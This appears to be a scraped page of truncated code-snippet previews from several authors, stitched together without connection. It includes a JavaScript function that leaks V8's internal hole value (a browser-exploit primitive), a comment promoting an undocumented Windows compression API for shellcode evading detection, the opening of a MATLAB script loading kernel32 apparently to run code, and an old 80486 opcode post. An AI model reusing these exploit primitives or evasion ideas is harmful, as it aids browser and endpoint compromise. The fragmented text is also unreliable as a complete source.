mistymntncop

function leak_hole() {
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}
function pwn() {
    let hole = leak_hole();
    %DebugPrint(hole);
}

odzhan

/**
    Compression using undocumented API in rdpbase.dll

    RDPCompressEx supports four algorithms : MPPC-8K, MPPC-64K, NCRUSH and XCRUSH.

    This code supports all except NCRUSH.
    The MPPC compression ratio is very similar to LZSS, so this could be quite useful for shellcode trying to evade detection.
    
    NCRUSH compression appears to work but fails for decompression.

Wra7h

% Wra7h/FlavorTown
% MATLAB version: R2023a
% Tested on Win10 x64

if not(libisloaded('kernel32'))
    loadlibrary('kernel32.dll', @kernel32proto);
end

if not(libisloaded('msvcrt'))
    loadlibrary('msvcrt.dll', @msvcrtproto);

seanjensengrey

# source:http://geocities.com/SiliconValley/heights/7052/opcode.txt
From: mark@omnifest.uwm.edu (Mark Hopkins)
Newsgroups: alt.lang.asm
Subject: A Summary of the 80486 Opcodes and Instructions

(1) The 80x86 is an Octal Machine
   This is a follow-up and revision of an article posted in alt.lang.asm on
7-5-92 concerning the 80x86 instruction encoding.
 
   The only proper way to understand 80x86 coding is to realize that ALL 80x86